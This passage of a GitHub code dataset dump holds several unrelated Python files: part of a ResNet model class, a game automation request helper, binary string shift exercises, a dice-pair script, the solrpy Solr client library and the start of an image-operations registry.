dropblock_prob=dropblock_prob)\n            self.layer4 = self._make_layer(\n                block,\n                512,\n                layers[3],\n                stride=1,\n                dilation=2,\n                norm_layer=norm_layer,\n                dropblock_prob=dropblock_prob)\n        else:\n            self.layer3 = self._make_layer(\n                block,\n                256,\n                layers[2],\n                stride=2,\n                norm_layer=norm_layer,\n                dropblock_prob=dropblock_prob)\n            self.layer4 = self._make_layer(\n                block,\n                512,\n                layers[3],\n                stride=2,\n                norm_layer=norm_layer,\n                dropblock_prob=dropblock_prob)\n        self.avgpool = GlobalAvgPool2d()\n        self.drop = nn.Dropout(final_drop) if final_drop > 0.0 else None\n        self.fc = nn.Linear(512 * block.expansion, num_classes)\n\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n                m.weight.data.normal_(0, math.sqrt(2. / n))\n            elif isinstance(m, norm_layer):\n                m.weight.data.fill_(1)\n                m.bias.data.zero_()\n\n    def _make_layer(self,\n                    block,\n                    planes,\n                    blocks,\n                    stride=1,\n                    dilation=1,\n                    norm_layer=None,\n                    dropblock_prob=0.0,\n                    is_first=True):\n        downsample = None\n        if stride != 1 or self.inplanes != planes * block.expansion:\n            down_layers = []\n            if self.avg_down:\n                if dilation == 1:\n                    down_layers.append(\n                        nn.AvgPool2d(\n                            kernel_size=stride,\n                            stride=stride,\n                            ceil_mode=True,\n                            count_include_pad=False))\n                else:\n                    down_layers.append(\n                        nn.AvgPool2d(\n                            kernel_size=1,\n                            stride=1,\n                            ceil_mode=True,\n                            count_include_pad=False))\n                down_layers.append(\n                    nn.Conv2d(\n                        self.inplanes,\n                        planes * block.expansion,\n                        kernel_size=1,\n                        stride=1,\n                        bias=False))\n            else:\n                down_layers.append(\n                    nn.Conv2d(\n                        self.inplanes,\n                        planes * block.expansion,\n                        kernel_size=1,\n                        stride=stride,\n                        bias=False))\n            down_layers.append(norm_layer(planes * block.expansion))\n            downsample = nn.Sequential(*down_layers)\n\n        layers = []\n        if dilation == 1 or dilation == 2:\n            layers.append(\n                block(\n                    self.inplanes,\n                    planes,\n                    stride,\n                    downsample=downsample,\n                    radix=self.radix,\n                    cardinality=self.cardinality,\n                    bottleneck_width=self.bottleneck_width,\n                    avd=self.avd,\n                    avd_first=self.avd_first,\n                    dilation=1,\n                    is_first=is_first,\n                    rectified_conv=self.rectified_conv,\n                    rectify_avg=self.rectify_avg,\n                    norm_layer=norm_layer,\n                    dropblock_prob=dropblock_prob,\n                    last_gamma=self.last_gamma))\n        elif dilation == 4:\n            layers.append(\n                block(\n                    self.inplanes,\n                    planes,\n                    stride,\n                    downsample=downsample,\n                    radix=self.radix,\n                    cardinality=self.cardinality,\n                    bottleneck_width=self.bottleneck_width,\n                    avd=self.avd,\n                    avd_first=self.avd_first,\n                    dilation=2,\n                    is_first=is_first,\n                    rectified_conv=self.rectified_conv,\n                    rectify_avg=self.rectify_avg,\n                    norm_layer=norm_layer,\n                    dropblock_prob=dropblock_prob,\n                    last_gamma=self.last_gamma))\n        else:\n            raise RuntimeError('=> unknown dilation size: {}'.format(dilation))\n\n        self.inplanes = planes * block.expansion\n        for i in range(1, blocks):\n            layers.append(\n                block(\n                    self.inplanes,\n                    planes,\n                    radix=self.radix,\n                    cardinality=self.cardinality,\n                    bottleneck_width=self.bottleneck_width,\n                    avd=self.avd,\n                    avd_first=self.avd_first,\n                    dilation=dilation,\n                    rectified_conv=self.rectified_conv,\n                    rectify_avg=self.rectify_avg,\n                    norm_layer=norm_layer,\n                    dropblock_prob=dropblock_prob,\n                    last_gamma=self.last_gamma))\n\n        return nn.Sequential(*layers)\n\n    def forward(self, x):\n        x = self.conv1(x)\n        x = self.bn1(x)\n        x = self.relu(x)\n        x = self.maxpool(x)\n\n        x = self.layer1(x)\n        x = self.layer2(x)\n        x = self.layer3(x)\n        x = self.layer4(x)\n\n        x = self.avgpool(x)\n        x = torch.flatten(x, 1)\n        if self.drop:\n            x = self.drop(x)\n        x = self.fc(x)\n\n        return x\n","repo_name":"modelscope/modelscope","sub_path":"modelscope/models/cv/animal_recognition/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":14141,"program_lang":"python","lang":"en","doc_type":"code","stars":4825,"dataset":"github-code","pt":"16"}
+{"seq_id":"22430955153","text":"import utils.poster\nimport time\nimport utils.global_config\n\ndef tutorial(sid, entry=False, **kwargs):\n    poster = utils.poster.Poster\n    #url = \"http://ios5.cc.mobimon.com.tw/user/all_data\"\n    url = \"{0}/tutorial\".format(utils.global_config.get_hostname())\n    if entry:\n        url += '/entry'\n    data = dict()\n    for k, v in kwargs.iteritems():\n        data[k] = v\n    headers = {'Cookie': 'sid={0}'.format(sid)}\n    cookies = {'sid': sid}\n    # self.poster.set_header(headers)\n    # self.poster.set_cookies(cookies)\n    ret = poster.post_data(url, headers, cookies, **data)\n    return ret\n\n","repo_name":"mong0520/ChainChronicle_auto","sub_path":"lib/tutorial_client.py","file_name":"tutorial_client.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"5229416685","text":"def shiftL(binNr, N):\n    \"\"\"\n    a function that does the operation of shift left in binary number\n    :param binNr: our binary number\n    :param N: how many digits we move left\n    :return: the number after shift left\n    \"\"\"\n    if N > len(binNr):\n        s = \"N is bigger than length\"\n        return s\n    else:\n        s = binNr[N:len(binNr)]\n        s = s + \"0\" * N\n        return s\n\n\ndef shiftR(binNr, N):\n    \"\"\"\n    a function that does the operation of shift right in binary number\n    :param binNr: our binary number\n    :param N: how many digits we move right\n    :return: the number after shift right\n    \"\"\"\n    if N > len(binNr):\n        s = \"N is bigger than length\"\n        return s\n    else:\n        s = \"0\"\n        s = s + \"0\" * (N - 1)\n        s = s + binNr[0:len(binNr) - N]\n        return s\n\n\ndef shiftCL(binNr, N):\n    if N > len(binNr):\n        s = \"N is bigger than length\"\n        return s\n    s = binNr[0:N]\n    t = binNr[N:len(binNr)]\n    return t + s\n\n\ndef shiftCR(binNr, N):\n    if N > len(binNr):\n        s = \"N is bigger than length\"\n        return s\n    else:\n        s = binNr[len(binNr) - N:len(binNr)]\n        t = binNr[0:len(binNr) - N]\n        return s + t\n\n\n# תוכנית ראשית\ndef main():\n    x = \"110001110\"\n    print(shiftL(x, 1))\n    print(shiftR(x, 3))  # אני הבנתי להוריד מימין ולהוסיף לשמאל\n    print(shiftCL(x, 2))\n    print(shiftCR(x, 2))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"maorsarusi/python_pycharm","sub_path":"functional_programming/ex1/targil1_4.py","file_name":"targil1_4.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71104352328","text":"\n\nlis = []\nfor i in range(6):\n    for j in range(6):\n        lis.append(sorted([i+1, j+1]))\n\nlis=sorted(lis)\n\nlis2 =[]\nfor i in lis:\n    if i not in lis2:\n        lis2.append(i)\n    #print(i[0],i[1])\n\nlis2=sorted(lis2)\n\nfor i in lis2:\n    print(i[0],i[1])\n","repo_name":"btatkerson/Kings-Court","sub_path":"two_card_six_perms.py","file_name":"two_card_six_perms.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"22080647113","text":"import sys\nimport socket\nimport httplib\nimport urlparse\nimport codecs\nimport urllib\nimport datetime\nimport warnings\nfrom StringIO import StringIO\nfrom xml.sax import make_parser\nfrom xml.sax.handler import ContentHandler\nfrom xml.sax.saxutils import escape, quoteattr\nfrom xml.dom.minidom import parseString\n\n__version__ = \"0.5\"\n\n__all__ = ['SolrException', 'SolrConnection', 'Response']\n\n\n# ===================================================================\n# Exceptions\n# ===================================================================\nclass SolrException(Exception):\n    \"\"\" An exception thrown by solr connections \"\"\"\n    def __init__(self, httpcode, reason=None, body=None):\n        self.httpcode = httpcode\n        self.reason = reason\n        self.body = body\n\n    def __repr__(self):\n        return 'HTTP code=%s, Reason=%s, body=%s' % (\n                    self.httpcode, self.reason, self.body)\n\n    def __str__(self):\n        return 'HTTP code=%s, reason=%s' % (self.httpcode, self.reason)\n\n\n# ===================================================================\n# Connection Object\n# ===================================================================\nclass SolrConnection:\n    \"\"\"\n    Represents a Solr connection.\n\n    Designed to work with the 2.2 response format (SOLR 1.2+).\n    (though 2.1 will likely work.)\n    \"\"\"\n\n    def __init__(self, url,\n                 persistent=True,\n                 timeout=None,\n                 ssl_key=None,\n                 ssl_cert=None,\n                 post_headers={}):\n\n        \"\"\"\n            url -- URI pointing to the SOLR instance. Examples:\n\n                http://localhost:8080/solr\n                https://solr-server/solr\n\n                Your python install must be compiled with SSL support for the\n                https:// schemes to work. (Most pre-packaged pythons are.)\n\n            persistent -- Keep a persistent HTTP connection open.\n                Defaults to true\n\n            timeout -- Timeout, in seconds, for the server to response.\n                By default, use the python default timeout (of none?)\n                NOTE: This changes the python-wide timeout.\n\n            ssl_key, ssl_cert -- If using client-side key files for\n                SSL authentication,  these should be, respectively,\n                your PEM key file and certificate file\n\n        \"\"\"\n\n        self.scheme, self.host, self.path = urlparse.urlparse(url, 'http')[:3]\n        self.url = url\n\n        assert self.scheme in ('http','https')\n\n        self.persistent = persistent\n        self.reconnects = 0\n        self.timeout = timeout\n        self.ssl_key = ssl_key\n        self.ssl_cert = ssl_cert\n\n        if self.scheme == 'https':\n            self.conn = httplib.HTTPSConnection(self.host,\n                   key_file=ssl_key, cert_file=ssl_cert)\n        else:\n            self.conn = httplib.HTTPConnection(self.host)\n\n        self.batch_cnt = 0  #  this is int, not bool!\n        self.response_version = 2.2\n        self.encoder = codecs.getencoder('utf-8')\n\n        # Responses from Solr will always be in UTF-8\n        self.decoder = codecs.getdecoder('utf-8')\n\n        # Set timeout, if applicable.\n        if timeout:\n            socket.setdefaulttimeout(timeout)\n\n        self.xmlheaders = {'Content-Type': 'text/xml; charset=utf-8'}\n        self.xmlheaders.update(post_headers)\n        if not self.persistent:\n            self.xmlheaders['Connection'] = 'close'\n\n        self.form_headers = {\n                'Content-Type':\n                'application/x-www-form-urlencoded; charset=utf-8'}\n\n        if not self.persistent:\n            self.form_headers['Connection'] = 'close'\n\n    def close(self):\n        self.conn.close()\n\n    def query(self, q, fields=None, highlight=None,\n              score=True, sort=None, sort_order=\"asc\", **params):\n        \"\"\"\n        q is the query string.\n\n        fields is an optional list of fields to include. It can\n        be either a string in the format that SOLR expects, or\n        a python list/tuple of field names.   Defaults to\n        all fields. (\"*\")\n\n        score indicates whether \"score\" should be included\n        in the field list.  Note that if you explicitly list\n        \"score\" in your fields value, then score is\n        effectively ignored.  Defaults to true.\n\n        highlight indicates whether highlighting should be included.\n        highlight can either be False, indicating \"No\" (the default),\n        a list of fields in the same format as \"fields\" or True, indicating\n        to highlight any fields included in \"fields\". If True and no \"fields\"\n        are given, raise a ValueError.\n\n        sort is a list of fields to sort by. See \"fields\" for\n        formatting.\n\n        sort_order defaults to \"asc\" and specifies the order to sort the fields\n        in. sort_order must be \"asc\" or \"desc\", otherwise a ValueError is raised.\n\n        Optional parameters can also be passed in.  Many SOLR\n        parameters are in a dotted notation (e.g., hl.simple.post).\n        For such parameters, replace the dots with underscores when\n        calling this method. (e.g., hl_simple_post='</pre'>)\n\n        Returns a Response instance.\n        \"\"\"\n\n        # Clean up optional parameters to match SOLR spec.\n        params = dict([(key.replace('_','.'), unicode(value))\n                      for key, value in params.items()])\n\n        if highlight:\n            params['hl'] = 'true'\n            if not isinstance(highlight, (bool, int, float)):\n                if not isinstance(highlight, basestring):\n                    highlight = \",\".join(highlight)\n                params['hl.fl'] = highlight\n            else:\n                if not fields:\n                    raise ValueError(\"highlight is True and no fields were given\")\n                elif isinstance(fields, basestring):\n                    params['hl.fl'] = [fields]\n                else:\n                    params['hl.fl'] = \",\".join(fields)\n\n        if q is not None:\n            params['q'] = q\n\n        if fields:\n            if not isinstance(fields, basestring):\n                fields = \",\".join(fields)\n        if not fields:\n            fields = '*'\n\n        if sort:\n            if not sort_order or sort_order not in (\"asc\", \"desc\"):\n                raise ValueError(\"sort_order must be 'asc' or 'desc'\")\n            if not isinstance(sort, basestring):\n                sort = \",\".join(sort)\n            params['sort'] = \"%s %s\" % (sort, sort_order)\n\n        if score and not 'score' in fields.replace(',',' ').split():\n            fields += ',score'\n\n        params['fl'] = fields\n        params['version'] = self.response_version\n        params['wt'] = 'standard'\n\n        request = urllib.urlencode(params, doseq=True)\n\n        try:\n            rsp = self._post(self.path + '/select',\n                              request, self.form_headers)\n            # If we pass in rsp directly, instead of using rsp.read())\n            # and creating a StringIO, then Persistence breaks with\n            # an internal python error.\n            xml = StringIO(rsp.read())\n            data = parse_query_response(xml,  params=params, connection=self)\n\n        finally:\n            if not self.persistent:\n                self.close()\n\n        return data\n\n    def begin_batch(self):\n        \"\"\"\n        Denote the beginning of a batch update.\n\n        No update commands will be sent to the backend server\n        until end_batch() is called.\n\n        Any update commands issued outside of a begin_batch()/\n        end_batch() series will be immediately processed.\n\n        begin_batch/end_batch transactions can be nested.\n        The transaction will not be sent to the backend server\n        until as many end_batch() calls have been made as\n        begin_batch()s.\n        \"\"\"\n        if not self.batch_cnt:\n            self.__batch_queue = []\n\n        self.batch_cnt += 1\n\n        return self.batch_cnt\n\n    def end_batch(self, commit=False):\n        \"\"\"\n        Denote the end of a batch update.\n\n        Sends any queued commands to the backend server.\n\n        If `commit` is True, then a <commit/> command is included\n        at the end of the list of commands sent.\n        \"\"\"\n        batch_cnt = self.batch_cnt - 1\n        if batch_cnt < 0:\n            raise SolrException(\n                \"end_batch called without a corresponding begin_batch\")\n\n        self.batch_cnt = batch_cnt\n        if batch_cnt:\n            return False\n\n        if commit:\n            self.__batch_queue.append('<commit/>')\n\n        return self._update(\"\".join(self.__batch_queue))\n\n    def delete(self, id):\n        \"\"\"\n        Delete a specific document by id.\n        \"\"\"\n        if isinstance(id, (list, tuple)):\n            [self.delete(an_id) for an_id in id]\n        else:\n            xstr = u'<delete><id>%s</id></delete>' % escape(unicode(id))\n            return self._update(xstr)\n\n    def delete_many(self, ids):\n        \"\"\"\n        Delete documents using a list of IDs.\n        \"\"\"\n        warnings.warn(\"delete_many() is deprecated, lists of ids can now be passed to delete()\", category=DeprecationWarning)\n        [self.delete(id) for id in ids]\n\n    def delete_query(self, query):\n        \"\"\"\n        Delete all documents returned by a query.\n        \"\"\"\n        xstr = u'<delete><query>%s</query></delete>' % escape(query)\n        return self._update(xstr)\n\n    def add(self, _commit=False, *documents, **fields):\n        \"\"\"\n        Add a document to the SOLR server.  Document fields\n        should be specified as arguments to this function\n\n        Example:\n            connection.add(id=\"mydoc\", author=\"Me\")\n            connection.add(id=\"otherdoc\", auther=[\"you\", Field(\"me\", boost=1.5)]\n            document = Document(boost=1.5)\n            document.add(id=\"thirddoc\", auther=[\"you\", \"me\", \"dupree\"])\n            connection.add(document)\n        \"\"\"\n        if not isinstance(_commit, bool):\n            documents = tuple([_commit]) + documents\n            # check if the commit flag has been passed at the end\n            if isinstance(documents[-1], bool):\n                _commit = documents[-1]\n                documents = tuple(documents[:-1])\n            else:\n                _commit = False\n\n        lst = [u'<add>']\n        self.__add_documents(lst, documents)\n        self.__add_fields(lst, fields)\n        lst.append(u'</add>')\n        xstr = ''.join(lst)\n        if not _commit:\n            return self._update(xstr)\n        else:\n            self._update(xstr)\n            return self.commit()\n\n    def add_many(self, docs, _commit=False):\n        \"\"\"\n        Add several documents to the SOLR server.\n\n        docs -- a list of dicts, where each dict is a document to add\n            to SOLR.\n        \"\"\"\n        warnings.warn(\"add_many() is deprecated, lists of documents can now be passed to add()\", category=DeprecationWarning)\n        lst = [u'<add>']\n        self.__add_documents(lst, docs)\n        lst.append(u'</add>')\n        xstr = ''.join(lst)\n        if not _commit:\n            return self._update(xstr)\n        else:\n            self._update(xstr)\n            return self.commit()\n\n    def commit(self, wait_flush=True, wait_searcher=True, _optimize=False):\n        \"\"\"\n        Issue a commit command to the SOLR server.\n        \"\"\"\n        if not wait_searcher:  #just handle deviations from the default\n            if not wait_flush:\n                options = 'waitFlush=\"false\" waitSearcher=\"false\"'\n            else:\n                options = 'waitSearcher=\"false\"'\n        else:\n            options = ''\n\n        if _optimize:\n            xstr = u'<optimize %s/>' % options\n        else:\n            xstr = u'<commit %s/>' % options\n\n        return self._update(xstr)\n\n    def optimize(self, wait_flush=True, wait_searcher=True, ):\n        \"\"\"\n        Issue an optimize command to the SOLR server.\n        \"\"\"\n        self.commit(wait_flush, wait_searcher, _optimize=True)\n\n    def raw_query(self, **params):\n        \"\"\"\n        Issue a query against a SOLR server.\n\n        Return the raw result.  No pre-processing or\n        post-processing happends to either\n        input parameters or responses\n        \"\"\"\n\n        # Clean up optional parameters to match SOLR spec.\n        params = dict([(key.replace('_','.'), unicode(value))\n                       for key, value in params.items()])\n\n        request = urllib.urlencode(params, doseq=True)\n\n        try:\n            rsp = self._post(self.path+'/select',\n                              request, self.form_headers)\n            data = rsp.read()\n        finally:\n            if not self.persistent:\n                self.close()\n\n        return data\n\n    def _update(self, request):\n\n        # If we're in batching mode, just queue up the requests for later.\n        if self.batch_cnt:\n            self.__batch_queue.append(request)\n            return\n\n        try:\n            rsp = self._post(self.path + '/update',\n                              request, self.xmlheaders)\n            data = rsp.read()\n        finally:\n            if not self.persistent:\n                self.close()\n\n        # Detect old-style error response (HTTP response code\n        # of 200 with a non-zero status.\n        if data.startswith('<result status=\"') and not data.startswith('<result status=\"0\"'):\n            data = self.decoder(data)[0]\n            parsed = parseString(data)\n            status = parsed.documentElement.getAttribute('status')\n            if status != 0:\n                reason = parsed.documentElement.firstChild.nodeValue\n                raise SolrException(rsp.status, reason)\n        return data\n\n    def __add_fields(self, lst, fields):\n        if isinstance(fields, Document):\n            lst.append(fields.as_xml)\n        elif fields:\n            document = Document()\n            for name, value in fields.items():\n                try:\n                    if isinstance(value, (list, tuple)):\n                        for multi_value in value:\n                            document.add(self.__make_field(name, multi_value))\n                    else:\n                        document.add(self.__make_field(name, value))\n                except ValueError:\n                    continue\n            lst.append(document.as_xml)\n    \n    def __add_documents(self, lst, documents):\n        for document in documents:\n            if isinstance(document, (list, tuple)):\n                self.__add_documents(lst, document)\n            elif isinstance(document, (dict, Document)):\n                self.__add_fields(lst, document)\n            else:\n                raise SolrException(\"Invalid document added %s\"%document)\n\n    def __make_field(self, name, value):\n        if isinstance(value, Field):\n            value.name = name\n            return value\n        else:\n            return Field(name=name, value=value)\n\n    def __repr__(self):\n        return ('<SolrConnection (url=%s, '\n                'persistent=%s, post_headers=%s, reconnects=%s)>') % (\n            self.url, self.persistent,\n            self.xmlheaders, self.reconnects)\n\n    def _reconnect(self):\n        self.reconnects += 1\n        self.close()\n        self.conn.connect()\n\n    def _post(self, url, body, headers):\n        attempts = 1\n        while attempts:\n            try:\n                self.conn.request('POST', url, body.encode('UTF-8'), headers)\n                return check_response_status(self.conn.getresponse())\n            except (socket.error,\n                    httplib.ImproperConnectionState,\n                    httplib.BadStatusLine):\n                    # We include BadStatusLine as they are spurious\n                    # and may randomly happen on an otherwise fine\n                    # SOLR connection (though not often)\n                self._reconnect()\n                attempts -= 1\n                if not attempts:\n                    raise\n\n# ===================================================================\n# Document and Field classes\n# ===================================================================\nclass Document(object):\n    \"\"\"\n    A class to represent a Solr document\n\n    usage:\n    document = Document(boost=1.5)\n    document.add(uid='uid001', title=Field('a test title', boost=1.5), multis=['a basic field', Field('boosted field', boost=1.5)])\n    \"\"\"\n    def __init__(self, boost=None):\n        self.boost  = boost\n        self.__fields = {}\n\n    def add(self, *parameters, **keywords):\n        for field in parameters:\n            if not isinstance(field, Field):\n                raise ValueError(\"Can only add Document objects\")\n            self.__add_field(field.name, field)\n\n        for name, value in keywords.items():\n            self.__add_field(name, value)\n\n        return self\n\n    def __add_field(self, name, value):\n        if isinstance(value, Field):\n            value.name = name\n            self.__fields.setdefault(value.name, []).append(value)\n        elif isinstance(value, (list, tuple)):\n            for value_one in value:\n                self.__add_field(name, value_one)\n        else:\n            self.__add_field(name, Field(name=name, value=value))\n\n    def __getattr__(self, name):\n        if name == 'as_xml':\n            if self.boost:\n                boost = u' boost=%s' % quoteattr(str(self.boost))\n            else:\n                boost = u''\n            fields = reduce(lambda x, y: x + y, self.__fields.values(), [])\n            return u'<doc%s>%s</doc>' % (boost, \"\".join([field.as_xml for field in fields]))\n        raise AttributeError(\"'Document' object has no attribute '%s'\" % name)\n    \n    def __setattr__(self, name, value):\n        if name == 'boost':\n            if value and not isinstance(value, float):\n                raise TypeError(\"Expecting a float for boost\")\n        object.__setattr__(self, name, value)\n\n    def __len__(self):\n        return sum([len(fields) for fields in self.__fields.values()])\n\n    def __getitem__(self, key):\n        return self.__fields[key]\n\n    def __setitem__(self, key, value):\n        if key in self.__fields:\n            del self.__fields[key]\n        self.__add_field(key, value)\n\n    def __delitem__(self, key):\n        del self.__fields[key]\n\nclass Field(object):\n    \"\"\"\n    A class to represent a Solr field\n\n    usage:\n    document = Document(boost=1.5)\n    document.add(uid='uid001', title=Field('a test title', boost=1.5), multis=['a basic field', Field('boosted field', boost=1.5)])\n    \"\"\"\n    def __init__(self, value, name=None, boost=None):\n        self.name  = name\n        self.value = value\n        self.boost = boost\n\n    def __getattr__(self, name):\n        if name == 'as_xml':\n            value  = self.value\n            if isinstance(value, datetime.date):\n                value = datetime.datetime.combine(value, datetime.time(tzinfo=UTC()))\n            if isinstance(value, datetime.datetime):\n                value = utc_to_string(value)\n            elif isinstance(value, bool):\n                value = value and 'true' or 'false'\n\n            if self.boost:\n                boost = u' boost=%s' % quoteattr(str(self.boost))\n            else:\n                boost = u''\n\n            return u'<field name=%s%s>%s</field>' % (quoteattr(self.name), boost, escape(unicode(value)))\n\n        raise AttributeError(\"'Field' object has no attribute '%s'\" % name)\n    \n    def __setattr__(self, name, value):\n        if name == 'value':\n            if value == None:\n                raise ValueError(\"Field value cannot be None\")\n        elif name == 'boost':\n            if value and not isinstance(value, float):\n                raise TypeError(\"Expecting a float for boost\")\n        \n        object.__setattr__(self, name, value)\n\n    def __eq__(self, field):\n        return self.name == field.name and self.value == field.value and self.boost == self.boost\n\n    def __repr__(self):\n        return '<solr.Field name=%s, value=%s, boost=%s>' % (self.name, self.value[0:5], self.boost)\n\n# ===================================================================\n# Response objects\n# ===================================================================\nclass Response(object):\n    \"\"\"\n    A container class for a\n\n    A Response object will have the following properties:\n\n          header -- a dict containing any responseHeader values\n\n          results -- a list of matching documents. Each list item will\n              be a dict.\n    \"\"\"\n    def __init__(self, connection):\n        # These are set in ResponseContentHandler.endElement()\n        self.header = {}\n        self.results = []\n\n        # These are set by parse_query_response().\n        # Used only if .next_batch()/previous_batch() is called\n        self._connection = connection\n        self._params = {}\n\n    def __len__(self):\n        \"\"\"\n        Return the number of matching documents contained in this set.\n        \"\"\"\n        return len(self.results)\n\n    def __iter__(self):\n        \"\"\"\n        Return an iterator of matching documents.\n        \"\"\"\n        return iter(self.results)\n\n    def next_batch(self):\n        \"\"\"\n        Load the next set of matches.\n\n        By default, SOLR returns 10 at a time.\n        \"\"\"\n        try:\n            start = int(self.results.start)\n        except AttributeError:\n            start = 0\n\n        start += len(self.results)\n        params = dict(self._params)\n        params['start'] = start\n        q = params['q']\n        del params['q']\n        return self._connection.query(q, **params)\n\n    def previous_batch(self):\n        \"\"\"\n        Return the previous set of matches\n        \"\"\"\n        try:\n            start = int(self.results.start)\n        except AttributeError:\n            start = 0\n\n        if not start:\n            return None\n\n        rows = int(self.header.get('rows', len(self.results)))\n        start = max(0, start - rows)\n        params = dict(self._params)\n        params['start'] = start\n        params['rows'] = rows\n        q = params['q']\n        del params['q']\n        return self._connection.query(q, **params)\n\n\n# ===================================================================\n# XML Parsing support\n# ===================================================================\ndef parse_query_response(data, params, connection):\n    \"\"\"\n    Parse the XML results of a /select call.\n    \"\"\"\n    parser = make_parser()\n    handler = ResponseContentHandler()\n    parser.setContentHandler(handler)\n    parser.parse(data)\n    if handler.stack[0].children:\n        response = handler.stack[0].children[0].final\n        response._params = params\n        response._connection = connection\n        return response\n    else:\n        return None\n\n\nclass ResponseContentHandler(ContentHandler):\n    \"\"\"\n    ContentHandler for the XML results of a /select call.\n    (Versions 2.2 (and possibly 2.1))\n    \"\"\"\n    def __init__(self):\n        self.stack = [Node(None, {})]\n        self.in_tree = False\n\n    def startElement(self, name, attrs):\n        if not self.in_tree:\n            if name != 'response':\n                raise SolrException(\n                    \"Unknown XML response from server: <%s ...\" % (\n                        name))\n            self.in_tree = True\n\n        element = Node(name, attrs)\n\n        # Keep track of new node\n        self.stack.append(element)\n\n        # Keep track of children\n        self.stack[-2].children.append(element)\n\n    def characters (self, ch):\n        self.stack[-1].chars.append(ch)\n\n    def endElement(self, name):\n        node = self.stack.pop()\n\n        name = node.name\n        value = \"\".join(node.chars)\n\n        if name == 'int':\n            node.final = int(value.strip())\n\n        elif name == 'str':\n            node.final = value\n\n        elif name == 'null':\n            node.final = None\n\n        elif name == 'long':\n            node.final = long(value.strip())\n\n        elif name == 'bool':\n            node.final = value.strip().lower().startswith('t')\n\n        elif name == 'date':\n             node.final = utc_from_string(value.strip())\n\n        elif name in ('float','double', 'status','QTime'):\n            node.final = float(value.strip())\n\n        elif name == 'response':\n            node.final = response = Response(self)\n            for child in node.children:\n                name = child.attrs.get('name', child.name)\n                if name == 'responseHeader':\n                    name = 'header'\n                elif child.name == 'result':\n                    name = 'results'\n                    for attr_name in child.attrs.getNames():\n                        # We already know it is a response\n                        if attr_name != \"name\":\n                            setattr(response, attr_name, child.attrs.get(attr_name))\n\n                setattr(response, name, child.final)\n\n        elif name in ('lst','doc'):\n            # Represent these with a dict\n            node.final = dict(\n                    [(cnode.attrs['name'], cnode.final)\n                        for cnode in node.children])\n\n        elif name in ('arr',):\n            node.final = [cnode.final for cnode in node.children]\n\n        elif name == 'result':\n            node.final = Results([cnode.final for cnode in node.children])\n\n\n        elif name in ('responseHeader',):\n            node.final = dict([(cnode.name, cnode.final)\n                        for cnode in node.children])\n        else:\n            raise SolrException(\"Unknown tag: %s\" % name)\n\n        for attr, val in node.attrs.items():\n            if attr != 'name':\n                setattr(node.final, attr, val)\n\n\nclass Results(list):\n    \"\"\"\n    Convenience class containing <result> items\n    \"\"\"\n    pass\n\n\nclass Node(object):\n    \"\"\"\n    A temporary object used in XML processing. Not seen by end user.\n    \"\"\"\n    def __init__(self, name, attrs):\n        \"\"\"\n        Final will eventually be the \"final\" representation of\n        this node, whether an int, list, dict, etc.\n        \"\"\"\n        self.chars = []\n        self.name = name\n        self.attrs = attrs\n        self.final = None\n        self.children = []\n\n    def __repr__(self):\n        return '<%s val=\"%s\" %s>' % (\n            self.name,\n            \"\".join(self.chars).strip(),\n            ' '.join(['%s=\"%s\"' % (attr, val)\n                            for attr, val in self.attrs.items()]))\n\n\n# ===================================================================\n# Misc utils\n# ===================================================================\ndef check_response_status(response):\n    if response.status != 200:\n        ex = SolrException(response.status, response.reason)\n        try:\n            ex.body = response.read()\n        except:\n            pass\n        raise ex\n    return response\n\n\n# -------------------------------------------------------------------\n# Datetime extensions to parse/generate SOLR date formats\n# -------------------------------------------------------------------\n# A UTC class, for parsing SOLR's returned dates.\nclass UTC(datetime.tzinfo):\n    \"\"\"\n    UTC timezone.\n    \"\"\"\n    def utcoffset(self, dt):\n        return datetime.timedelta(0)\n\n    def tzname(self, dt):\n        return \"UTC\"\n\n    def dst(self, dt):\n        return datetime.timedelta(0)\n\n\nutc = UTC()\n\ndef utc_to_string(value):\n    \"\"\"\n    Convert datetimes to the subset of ISO 8601 that SOLR expects.\n    \"\"\"\n    value = value.astimezone(utc).isoformat()\n    if '+' in value:\n        value = value.split('+')[0]\n    value += 'Z'\n    return value\n\ndef utc_from_string(value):\n    \"\"\"\n    Parse a string representing an ISO 8601 date.\n    Note: this doesn't process the entire ISO 8601 standard,\n    onle the specific format SOLR promises to generate.\n    \"\"\"\n    try:\n        if not value.endswith('Z') and value[10] == 'T':\n            raise ValueError(value)\n        year = int(value[0:4])\n        month = int(value[5:7])\n        day = int(value[8:10])\n        hour = int(value[11:13])\n        minute = int(value[14:16])\n        microseconds = int(float(value[17:-1]) * 1000000.0)\n        second, microsecond = divmod(microseconds, 1000000)\n        return datetime.datetime(year, month, day, hour,\n            minute, second, microsecond, utc)\n    except ValueError:\n        raise ValueError (\"'%s' is not a valid ISO 8601 SOLR date\" % value)\n","repo_name":"robyoung/solrpy","sub_path":"solr.py","file_name":"solr.py","file_ext":"py","file_size_in_byte":28209,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"2303780568","text":"from img_operations.convolution import *\nfrom img_operations.histogram import *\nfrom img_operations.noise import *\nfrom img_operations.pixel import *\n\n\noperation_types_dict = {\n    'pixel': [ \n        {\n            'name': 'vertical flip',\n            'function': vertical_flip,\n        },\n        {\n            'name': 'rgb to gray',\n            'function': rgb_to_gray,\n        },\n        {\n            'name': 'horizontal flip',\n            'function': horizontal_flip,\n        },\n        {\n            'name': 'invert colors',\n            'function': invert,\n        },\n        {\n            'name': 'clear zone',\n            'function': clear_zone,\n        },\n        {\n            'name': 'brightness',\n            'function': change_brightness,\n        },\n        {\n            'name': 'contrast',\n            'function': change_contrast,\n        },\n        {\n            'name': 'logarithmic transform',\n            'function': logarithmic_transform,\n        },\n        {\n            'name': 'power transformation',\n            'function': power_transformation,\n        },\n        {\n            'name': 'exponential transform',\n            'function': exponential_transform,\n        },\n        {\n            'name': 'gamma correction',\n            'function': gamma_correction,\n        },\n        {\n            'name': 'power law transform',\n            'function': power_law_transform,\n        